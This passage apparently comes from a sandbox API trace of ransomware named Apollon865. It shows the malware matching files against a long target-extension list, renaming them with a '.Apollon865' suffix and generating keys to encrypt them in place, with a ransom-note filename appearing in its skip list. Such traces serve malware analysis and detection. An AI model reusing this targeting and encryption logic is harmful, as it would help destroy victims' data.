	[0059.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.042] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.060] CloseHandle (hObject=0x15c) returned 1
	[0059.060] CloseHandle (hObject=0x14c) returned 1
	[0059.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0059.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 0
	[0059.153] GetLastError () returned 0x3e6
	[0059.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x364) returned 0x599a78
	[0059.199] SetLastError (dwErrCode=0x3e6) 
	[0059.199] GetLastError () returned 0x3e6
	[0059.199] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eBook.CAT", cAlternateFileName="")) returned 1
	[0059.200] lstrcmpiW (lpString1="eBook.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.200] lstrcmpiW (lpString1="eBook.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.218] lstrcmpiW (lpString1="eBook.CAT", lpString2=".") returned 1
	[0059.218] lstrcmpiW (lpString1="eBook.CAT", lpString2="..") returned 1
	[0059.218] lstrcmpiW (lpString1="eBook.CAT", lpString2="windows") returned -1
	[0059.218] lstrcmpiW (lpString1="eBook.CAT", lpString2="bootmgr") returned 1
	[0059.218] lstrcmpiW (lpString1="eBook.CAT", lpString2="temp") returned -1
	[0059.218] lstrcmpiW (lpString1="eBook.CAT", lpString2="pagefile.sys") returned -1
	[0059.218] lstrcmpiW (lpString1="eBook.CAT", lpString2="boot") returned 1
	[0059.219] lstrcmpiW (lpString1="eBook.CAT", lpString2="ids.txt") returned -1
	[0059.237] lstrcmpiW (lpString1="eBook.CAT", lpString2="ntuser.dat") returned -1
	[0059.238] lstrcmpiW (lpString1="eBook.CAT", lpString2="perflogs") returned -1
	[0059.238] lstrcmpiW (lpString1="eBook.CAT", lpString2="MSBuild") returned -1
	[0059.238] lstrlenW (lpString="eBook.CAT") returned 9
	[0059.238] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT") returned 68
	[0059.238] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="eBook.CAT" | out: lpString1="eBook.CAT") returned="eBook.CAT"
	[0059.238] lstrlenW (lpString="eBook.CAT") returned 9
	[0059.238] lstrlenW (lpString="Apollon865") returned 10
	[0059.238] lstrlenW (lpString=".dll") returned 4
	[0059.255] lstrcmpiW (lpString1="eBook.CAT", lpString2=".dll") returned 1
	[0059.256] lstrlenW (lpString=".lnk") returned 4
	[0059.256] lstrcmpiW (lpString1="eBook.CAT", lpString2=".lnk") returned 1
	[0059.256] lstrlenW (lpString=".ini") returned 4
	[0059.256] lstrcmpiW (lpString1="eBook.CAT", lpString2=".ini") returned 1
	[0059.276] lstrlenW (lpString=".sys") returned 4
	[0059.276] lstrcmpiW (lpString1="eBook.CAT", lpString2=".sys") returned 1
	[0059.276] lstrlenW (lpString="eBook.CAT") returned 9
	[0059.276] lstrlenW (lpString="bak") returned 3
	[0059.276] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.276] lstrlenW (lpString="ba_") returned 3
	[0059.276] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.276] lstrlenW (lpString="dbb") returned 3
	[0059.277] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.299] lstrlenW (lpString="vmdk") returned 4
	[0059.300] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.300] lstrlenW (lpString="rar") returned 3
	[0059.300] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.300] lstrlenW (lpString="zip") returned 3
	[0059.300] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.300] lstrlenW (lpString="tgz") returned 3
	[0059.300] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.301] lstrlenW (lpString="vbox") returned 4
	[0059.301] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.301] lstrlenW (lpString="vdi") returned 3
	[0059.301] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.301] lstrlenW (lpString="vhd") returned 3
	[0059.301] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.301] lstrlenW (lpString="vhdx") returned 4
	[0059.301] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.302] lstrlenW (lpString="avhd") returned 4
	[0059.302] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.302] lstrlenW (lpString="db") returned 2
	[0059.303] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.303] lstrlenW (lpString="db2") returned 3
	[0059.304] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.305] lstrlenW (lpString="db3") returned 3
	[0059.305] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.305] lstrlenW (lpString="dbf") returned 3
	[0059.305] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.307] lstrlenW (lpString="mdf") returned 3
	[0059.308] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.309] lstrlenW (lpString="mdb") returned 3
	[0059.309] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.309] lstrlenW (lpString="sql") returned 3
	[0059.311] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.313] lstrlenW (lpString="sqlite") returned 6
	[0059.314] lstrcmpiW (lpString1="ok.CAT", lpString2="sqlite") returned -1
	[0059.316] lstrlenW (lpString="sqlite3") returned 7
	[0059.321] lstrcmpiW (lpString1="ook.CAT", lpString2="sqlite3") returned -1
	[0059.321] lstrlenW (lpString="sqlitedb") returned 8
	[0059.321] lstrcmpiW (lpString1="Book.CAT", lpString2="sqlitedb") returned -1
	[0059.322] lstrlenW (lpString="xml") returned 3
	[0059.323] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.323] lstrlenW (lpString="$er") returned 3
	[0059.324] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.324] lstrlenW (lpString="4dd") returned 3
	[0059.325] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.326] lstrlenW (lpString="4dl") returned 3
	[0059.327] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.330] lstrlenW (lpString="^^^") returned 3
	[0059.331] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.333] lstrlenW (lpString="abs") returned 3
	[0059.334] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.335] lstrlenW (lpString="abx") returned 3
	[0059.340] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.340] lstrlenW (lpString="accdb") returned 5
	[0059.340] lstrcmpiW (lpString1="k.CAT", lpString2="accdb") returned 1
	[0059.340] lstrlenW (lpString="accdc") returned 5
	[0059.340] lstrcmpiW (lpString1="k.CAT", lpString2="accdc") returned 1
	[0059.340] lstrlenW (lpString="accde") returned 5
	[0059.340] lstrcmpiW (lpString1="k.CAT", lpString2="accde") returned 1
	[0059.340] lstrlenW (lpString="accdr") returned 5
	[0059.340] lstrcmpiW (lpString1="k.CAT", lpString2="accdr") returned 1
	[0059.340] lstrlenW (lpString="accdt") returned 5
	[0059.341] lstrcmpiW (lpString1="k.CAT", lpString2="accdt") returned 1
	[0059.341] lstrlenW (lpString="accdw") returned 5
	[0059.341] lstrcmpiW (lpString1="k.CAT", lpString2="accdw") returned 1
	[0059.341] lstrlenW (lpString="accft") returned 5
	[0059.341] lstrcmpiW (lpString1="k.CAT", lpString2="accft") returned 1
	[0059.341] lstrlenW (lpString="adb") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.341] lstrlenW (lpString="adb") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.341] lstrlenW (lpString="ade") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.341] lstrlenW (lpString="adf") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.341] lstrlenW (lpString="adn") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.341] lstrlenW (lpString="adp") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.341] lstrlenW (lpString="alf") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.341] lstrlenW (lpString="ask") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.341] lstrlenW (lpString="btr") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.341] lstrlenW (lpString="cat") returned 3
	[0059.341] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.341] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT.Apollon865") returned 81
	[0059.341] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.344] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6656) returned 1
	[0059.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.345] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.345] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.345] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.346] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.346] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.346] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d00, lpName=0x0) returned 0x154
	[0059.347] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d00) returned 0x120000
	[0059.350] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.351] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.351] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.351] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.351] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.352] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.352] CloseHandle (hObject=0x154) returned 1
	[0059.352] CloseHandle (hObject=0x15c) returned 1
	[0059.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.352] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EScript.CAT", cAlternateFileName="")) returned 1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2=".") returned 1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="..") returned 1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="windows") returned -1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="bootmgr") returned 1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="temp") returned -1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="pagefile.sys") returned -1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="boot") returned 1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="ids.txt") returned -1
	[0059.352] lstrcmpiW (lpString1="EScript.CAT", lpString2="ntuser.dat") returned -1
	[0059.353] lstrcmpiW (lpString1="EScript.CAT", lpString2="perflogs") returned -1
	[0059.353] lstrcmpiW (lpString1="EScript.CAT", lpString2="MSBuild") returned -1
	[0059.353] lstrlenW (lpString="EScript.CAT") returned 11
	[0059.353] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT") returned 70
	[0059.353] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="EScript.CAT" | out: lpString1="EScript.CAT") returned="EScript.CAT"
	[0059.353] lstrlenW (lpString="EScript.CAT") returned 11
	[0059.353] lstrlenW (lpString="Apollon865") returned 10
	[0059.353] lstrcmpiW (lpString1="Script.CAT", lpString2="Apollon865") returned 1
	[0059.353] lstrlenW (lpString=".dll") returned 4
	[0059.353] lstrcmpiW (lpString1="EScript.CAT", lpString2=".dll") returned 1
	[0059.353] lstrlenW (lpString=".lnk") returned 4
	[0059.353] lstrcmpiW (lpString1="EScript.CAT", lpString2=".lnk") returned 1
	[0059.353] lstrlenW (lpString=".ini") returned 4
	[0059.353] lstrcmpiW (lpString1="EScript.CAT", lpString2=".ini") returned 1
	[0059.353] lstrlenW (lpString=".sys") returned 4
	[0059.353] lstrcmpiW (lpString1="EScript.CAT", lpString2=".sys") returned 1
	[0059.353] lstrlenW (lpString="EScript.CAT") returned 11
	[0059.353] lstrlenW (lpString="bak") returned 3
	[0059.353] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.353] lstrlenW (lpString="ba_") returned 3
	[0059.353] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.353] lstrlenW (lpString="dbb") returned 3
	[0059.353] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.353] lstrlenW (lpString="vmdk") returned 4
	[0059.353] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.353] lstrlenW (lpString="rar") returned 3
	[0059.353] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.353] lstrlenW (lpString="zip") returned 3
	[0059.353] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.353] lstrlenW (lpString="tgz") returned 3
	[0059.353] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.354] lstrlenW (lpString="vbox") returned 4
	[0059.354] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.354] lstrlenW (lpString="vdi") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.354] lstrlenW (lpString="vhd") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.354] lstrlenW (lpString="vhdx") returned 4
	[0059.354] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.354] lstrlenW (lpString="avhd") returned 4
	[0059.354] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.354] lstrlenW (lpString="db") returned 2
	[0059.354] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.354] lstrlenW (lpString="db2") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.354] lstrlenW (lpString="db3") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.354] lstrlenW (lpString="dbf") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.354] lstrlenW (lpString="mdf") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.354] lstrlenW (lpString="mdb") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.354] lstrlenW (lpString="sql") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.354] lstrlenW (lpString="sqlite") returned 6
	[0059.354] lstrcmpiW (lpString1="pt.CAT", lpString2="sqlite") returned -1
	[0059.354] lstrlenW (lpString="sqlite3") returned 7
	[0059.354] lstrcmpiW (lpString1="ipt.CAT", lpString2="sqlite3") returned -1
	[0059.354] lstrlenW (lpString="sqlitedb") returned 8
	[0059.354] lstrcmpiW (lpString1="ript.CAT", lpString2="sqlitedb") returned -1
	[0059.354] lstrlenW (lpString="xml") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.354] lstrlenW (lpString="$er") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.354] lstrlenW (lpString="4dd") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.354] lstrlenW (lpString="4dl") returned 3
	[0059.354] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.355] lstrlenW (lpString="^^^") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.355] lstrlenW (lpString="abs") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.355] lstrlenW (lpString="abx") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.355] lstrlenW (lpString="accdb") returned 5
	[0059.355] lstrcmpiW (lpString1="t.CAT", lpString2="accdb") returned 1
	[0059.355] lstrlenW (lpString="accdc") returned 5
	[0059.355] lstrcmpiW (lpString1="t.CAT", lpString2="accdc") returned 1
	[0059.355] lstrlenW (lpString="accde") returned 5
	[0059.355] lstrcmpiW (lpString1="t.CAT", lpString2="accde") returned 1
	[0059.355] lstrlenW (lpString="accdr") returned 5
	[0059.355] lstrcmpiW (lpString1="t.CAT", lpString2="accdr") returned 1
	[0059.355] lstrlenW (lpString="accdt") returned 5
	[0059.355] lstrcmpiW (lpString1="t.CAT", lpString2="accdt") returned 1
	[0059.355] lstrlenW (lpString="accdw") returned 5
	[0059.355] lstrcmpiW (lpString1="t.CAT", lpString2="accdw") returned 1
	[0059.355] lstrlenW (lpString="accft") returned 5
	[0059.355] lstrcmpiW (lpString1="t.CAT", lpString2="accft") returned 1
	[0059.355] lstrlenW (lpString="adb") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.355] lstrlenW (lpString="adb") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.355] lstrlenW (lpString="ade") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.355] lstrlenW (lpString="adf") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.355] lstrlenW (lpString="adn") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.355] lstrlenW (lpString="adp") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.355] lstrlenW (lpString="alf") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.355] lstrlenW (lpString="ask") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.355] lstrlenW (lpString="btr") returned 3
	[0059.355] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.356] lstrlenW (lpString="cat") returned 3
	[0059.356] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.356] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT.Apollon865") returned 83
	[0059.356] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.357] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=41984) returned 1
	[0059.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.357] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.358] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.358] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.358] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa700, lpName=0x0) returned 0x154
	[0059.360] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa700) returned 0x120000
	[0059.364] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.365] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.365] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.365] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.365] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.366] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.366] CloseHandle (hObject=0x154) returned 1
	[0059.366] CloseHandle (hObject=0x15c) returned 1
	[0059.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
